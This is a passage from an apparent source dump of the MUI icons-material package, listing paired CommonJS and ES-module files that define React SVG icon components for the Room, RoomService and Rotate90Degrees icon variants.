    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'RoomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.2 0-8 3.22-8 8.2 0 3.18 2.45 6.92 7.34 11.23.38.33.95.33 1.33 0C17.55 17.12 20 13.38 20 10.2 20 5.22 16.2 2 12 2m0 10c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'RoomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomService.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17h20v2H2zm11.84-9.21c.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16h18c-.27-4.07-3.25-7.4-7.16-8.21\"\n}), 'RoomService');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomService.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17h20v2H2zm11.84-9.21c.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16h18c-.27-4.07-3.25-7.4-7.16-8.21\"\n}), 'RoomService');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomServiceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.98 17H2v2h20v-2zM21 16c-.27-4.07-3.25-7.4-7.16-8.21.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16zm-9-6.42c2.95 0 5.47 1.83 6.5 4.41h-13c1.03-2.58 3.55-4.41 6.5-4.41\"\n}), 'RoomServiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomServiceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.98 17H2v2h20v-2zM21 16c-.27-4.07-3.25-7.4-7.16-8.21.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16zm-9-6.42c2.95 0 5.47 1.83 6.5 4.41h-13c1.03-2.58 3.55-4.41 6.5-4.41\"\n}), 'RoomServiceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomServiceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18c.55 0 1 .45 1 1s-.45 1-1 1H3c-.55 0-1-.45-1-1s.45-1 1-1m10.84-9.21c.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16h18c-.27-4.07-3.25-7.4-7.16-8.21\"\n}), 'RoomServiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomServiceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18c.55 0 1 .45 1 1s-.45 1-1 1H3c-.55 0-1-.45-1-1s.45-1 1-1m10.84-9.21c.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16h18c-.27-4.07-3.25-7.4-7.16-8.21\"\n}), 'RoomServiceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomServiceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17h20v2H2zm11.84-9.21c.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16h18c-.27-4.07-3.25-7.4-7.16-8.21\"\n}), 'RoomServiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomServiceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17h20v2H2zm11.84-9.21c.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16h18c-.27-4.07-3.25-7.4-7.16-8.21\"\n}), 'RoomServiceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomServiceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9.58c-2.95 0-5.47 1.83-6.5 4.41h13c-1.03-2.58-3.55-4.41-6.5-4.41\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17h20v2H2zm11.84-9.21c.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16h18c-.27-4.07-3.25-7.4-7.16-8.21M12 9.58c2.95 0 5.47 1.83 6.5 4.41h-13c1.03-2.58 3.55-4.41 6.5-4.41\"\n}, \"1\")], 'RoomServiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomServiceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9.58c-2.95 0-5.47 1.83-6.5 4.41h13c-1.03-2.58-3.55-4.41-6.5-4.41\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17h20v2H2zm11.84-9.21c.1-.24.16-.51.16-.79 0-1.1-.9-2-2-2s-2 .9-2 2c0 .28.06.55.16.79C6.25 8.6 3.27 11.93 3 16h18c-.27-4.07-3.25-7.4-7.16-8.21M12 9.58c2.95 0 5.47 1.83 6.5 4.41h-13c1.03-2.58 3.55-4.41 6.5-4.41\"\n}, \"1\")], 'RoomServiceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'RoomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7m0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'RoomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4C9.24 4 7 6.24 7 9c0 2.85 2.92 7.21 5 9.88 2.11-2.69 5-7 5-9.88 0-2.76-2.24-5-5-5m0 7.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7M7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"2.5\"\n}, \"2\")], 'RoomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4C9.24 4 7 6.24 7 9c0 2.85 2.92 7.21 5 9.88 2.11-2.69 5-7 5-9.88 0-2.76-2.24-5-5-5m0 7.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7M7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"2.5\"\n}, \"2\")], 'RoomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcw.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.34 6.41.86 12.9l6.49 6.48 6.49-6.48zM3.69 12.9l3.66-3.66L11 12.9l-3.66 3.66zm15.67-6.26C17.61 4.88 15.3 4 13 4V.76L8.76 5 13 9.24V6c1.79 0 3.58.68 4.95 2.05 2.73 2.73 2.73 7.17 0 9.9C16.58 19.32 14.79 20 13 20c-.97 0-1.94-.21-2.84-.61l-1.49 1.49C10.02 21.62 11.51 22 13 22c2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}), 'Rotate90DegreesCcw');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcw.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.34 6.41.86 12.9l6.49 6.48 6.49-6.48zM3.69 12.9l3.66-3.66L11 12.9l-3.66 3.66zm15.67-6.26C17.61 4.88 15.3 4 13 4V.76L8.76 5 13 9.24V6c1.79 0 3.58.68 4.95 2.05 2.73 2.73 2.73 7.17 0 9.9C16.58 19.32 14.79 20 13 20c-.97 0-1.94-.21-2.84-.61l-1.49 1.49C10.02 21.62 11.51 22 13 22c2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}), 'Rotate90DegreesCcw');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcwOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.34 6.41.86 12.9l6.49 6.48 6.49-6.48zM3.69 12.9l3.66-3.66L11 12.9l-3.66 3.66zm15.67-6.26C17.61 4.88 15.3 4 13 4V.76L8.76 5 13 9.24V6c1.79 0 3.58.68 4.95 2.05 2.73 2.73 2.73 7.17 0 9.9C16.58 19.32 14.79 20 13 20c-.97 0-1.94-.21-2.84-.61l-1.49 1.49C10.02 21.62 11.51 22 13 22c2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}), 'Rotate90DegreesCcwOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcwOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.34 6.41.86 12.9l6.49 6.48 6.49-6.48zM3.69 12.9l3.66-3.66L11 12.9l-3.66 3.66zm15.67-6.26C17.61 4.88 15.3 4 13 4V.76L8.76 5 13 9.24V6c1.79 0 3.58.68 4.95 2.05 2.73 2.73 2.73 7.17 0 9.9C16.58 19.32 14.79 20 13 20c-.97 0-1.94-.21-2.84-.61l-1.49 1.49C10.02 21.62 11.51 22 13 22c2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}), 'Rotate90DegreesCcwOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcwRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.93 7.83-3.65 3.66c-.78.78-.78 2.05 0 2.83l3.66 3.66c.78.78 2.05.78 2.83 0l3.66-3.65c.78-.78.78-2.05 0-2.83L8.76 7.82c-.79-.78-2.05-.78-2.83.01M4.4 12.19l2.25-2.25c.39-.39 1.02-.39 1.42 0l2.24 2.24c.39.39.39 1.02 0 1.41l-2.25 2.25c-.39.39-1.02.39-1.42 0L4.4 13.61c-.39-.39-.39-1.03 0-1.42m14.96-5.55C17.61 4.88 15.3 4 13 4v-.83c0-.89-1.08-1.34-1.71-.71L9.47 4.29c-.39.39-.39 1.02 0 1.41l1.83 1.83c.62.63 1.7.19 1.7-.7V6c2.02 0 4.03.86 5.45 2.61 2.05 2.52 2.05 6.27 0 8.79C17.03 19.14 15.02 20 13 20c-.78 0-1.55-.13-2.29-.39-.36-.12-.75-.01-1.02.26-.5.5-.34 1.39.34 1.62.96.34 1.96.51 2.97.51 2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}), 'Rotate90DegreesCcwRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcwRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.93 7.83-3.65 3.66c-.78.78-.78 2.05 0 2.83l3.66 3.66c.78.78 2.05.78 2.83 0l3.66-3.65c.78-.78.78-2.05 0-2.83L8.76 7.82c-.79-.78-2.05-.78-2.83.01M4.4 12.19l2.25-2.25c.39-.39 1.02-.39 1.42 0l2.24 2.24c.39.39.39 1.02 0 1.41l-2.25 2.25c-.39.39-1.02.39-1.42 0L4.4 13.61c-.39-.39-.39-1.03 0-1.42m14.96-5.55C17.61 4.88 15.3 4 13 4v-.83c0-.89-1.08-1.34-1.71-.71L9.47 4.29c-.39.39-.39 1.02 0 1.41l1.83 1.83c.62.63 1.7.19 1.7-.7V6c2.02 0 4.03.86 5.45 2.61 2.05 2.52 2.05 6.27 0 8.79C17.03 19.14 15.02 20 13 20c-.78 0-1.55-.13-2.29-.39-.36-.12-.75-.01-1.02.26-.5.5-.34 1.39.34 1.62.96.34 1.96.51 2.97.51 2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}), 'Rotate90DegreesCcwRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcwSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.34 6.41.86 12.9l6.49 6.48 6.49-6.48zM3.69 12.9l3.66-3.66L11 12.9l-3.66 3.66zm15.67-6.26C17.61 4.88 15.3 4 13 4V.76L8.76 5 13 9.24V6c1.79 0 3.58.68 4.95 2.05 2.73 2.73 2.73 7.17 0 9.9C16.58 19.32 14.79 20 13 20c-.97 0-1.94-.21-2.84-.61l-1.49 1.49C10.02 21.62 11.51 22 13 22c2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}), 'Rotate90DegreesCcwSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcwSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.34 6.41.86 12.9l6.49 6.48 6.49-6.48zM3.69 12.9l3.66-3.66L11 12.9l-3.66 3.66zm15.67-6.26C17.61 4.88 15.3 4 13 4V.76L8.76 5 13 9.24V6c1.79 0 3.58.68 4.95 2.05 2.73 2.73 2.73 7.17 0 9.9C16.58 19.32 14.79 20 13 20c-.97 0-1.94-.21-2.84-.61l-1.49 1.49C10.02 21.62 11.51 22 13 22c2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}), 'Rotate90DegreesCcwSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcwTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.35 9.24 3.69 12.9l3.65 3.66L11 12.9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.34 6.41.86 12.9l6.49 6.48 6.49-6.48zm0 10.15L3.69 12.9l3.66-3.66L11 12.9zm12.02-9.92C17.61 4.88 15.3 4 13 4V.76L8.76 5 13 9.24V6c1.79 0 3.58.68 4.95 2.05 2.73 2.73 2.73 7.17 0 9.9C16.58 19.32 14.79 20 13 20c-.97 0-1.94-.21-2.84-.61l-1.49 1.49C10.02 21.62 11.51 22 13 22c2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}, \"1\")], 'Rotate90DegreesCcwTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCcwTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.35 9.24 3.69 12.9l3.65 3.66L11 12.9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.34 6.41.86 12.9l6.49 6.48 6.49-6.48zm0 10.15L3.69 12.9l3.66-3.66L11 12.9zm12.02-9.92C17.61 4.88 15.3 4 13 4V.76L8.76 5 13 9.24V6c1.79 0 3.58.68 4.95 2.05 2.73 2.73 2.73 7.17 0 9.9C16.58 19.32 14.79 20 13 20c-.97 0-1.94-.21-2.84-.61l-1.49 1.49C10.02 21.62 11.51 22 13 22c2.3 0 4.61-.88 6.36-2.64 3.52-3.51 3.52-9.21 0-12.72\"\n}, \"1\")], 'Rotate90DegreesCcwTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCw.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.64 19.37c3.03 3.03 7.67 3.44 11.15 1.25l-1.46-1.46c-2.66 1.43-6.04 1.03-8.28-1.21-2.73-2.73-2.73-7.17 0-9.9C7.42 6.69 9.21 6.03 11 6.03V9l4-4-4-4v3.01c-2.3 0-4.61.87-6.36 2.63-3.52 3.51-3.52 9.21 0 12.73M11 13l6 6 6-6-6-6z\"\n}), 'Rotate90DegreesCw');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCw.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.64 19.37c3.03 3.03 7.67 3.44 11.15 1.25l-1.46-1.46c-2.66 1.43-6.04 1.03-8.28-1.21-2.73-2.73-2.73-7.17 0-9.9C7.42 6.69 9.21 6.03 11 6.03V9l4-4-4-4v3.01c-2.3 0-4.61.87-6.36 2.63-3.52 3.51-3.52 9.21 0 12.73M11 13l6 6 6-6-6-6z\"\n}), 'Rotate90DegreesCw');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCwOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 13c0 4.97 4.03 9 9 9 1.76 0 3.4-.51 4.79-1.38l-1.46-1.46c-.99.53-2.13.84-3.33.84-3.86 0-7-3.14-7-7s3.14-7 7-7h.17L9.59 7.59 11 9l4-4-4-4-1.42 1.41L11.17 4H11c-4.97 0-9 4.03-9 9m9 0 6 6 6-6-6-6zm6 3.17L13.83 13 17 9.83 20.17 13z\"\n}), 'Rotate90DegreesCwOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCwOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 13c0 4.97 4.03 9 9 9 1.76 0 3.4-.51 4.79-1.38l-1.46-1.46c-.99.53-2.13.84-3.33.84-3.86 0-7-3.14-7-7s3.14-7 7-7h.17L9.59 7.59 11 9l4-4-4-4-1.42 1.41L11.17 4H11c-4.97 0-9 4.03-9 9m9 0 6 6 6-6-6-6zm6 3.17L13.83 13 17 9.83 20.17 13z\"\n}), 'Rotate90DegreesCwOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rotate90DegreesCwRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.86 18.46c2.65 3.45 7.11 4.37 10.74 2.79.61-.27.74-1.09.27-1.56l-.05-.05c-.29-.29-.72-.35-1.1-.19-2.96 1.24-6.59.37-8.58-2.62-1.58-2.37-1.55-5.37.05-7.73C6.6 7.03 8.8 6.03 11 6.03v1.76c0 .45.54.67.86.36l2.79-2.79c.2-.2.2-.51 0-.71l-2.8-2.79c-.31-.32-.85-.1-.85.35v1.8c-2.76 0-5.52 1.25-7.34 3.78-2.28 3.17-2.2 7.58.2 10.67\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.7 7.71a.996.996 0 0 0-1.41 0l-4.59 4.58c-.39.39-.39 1.02 0 1.41l4.59 4.59c.39.39 1.02.39 1.41 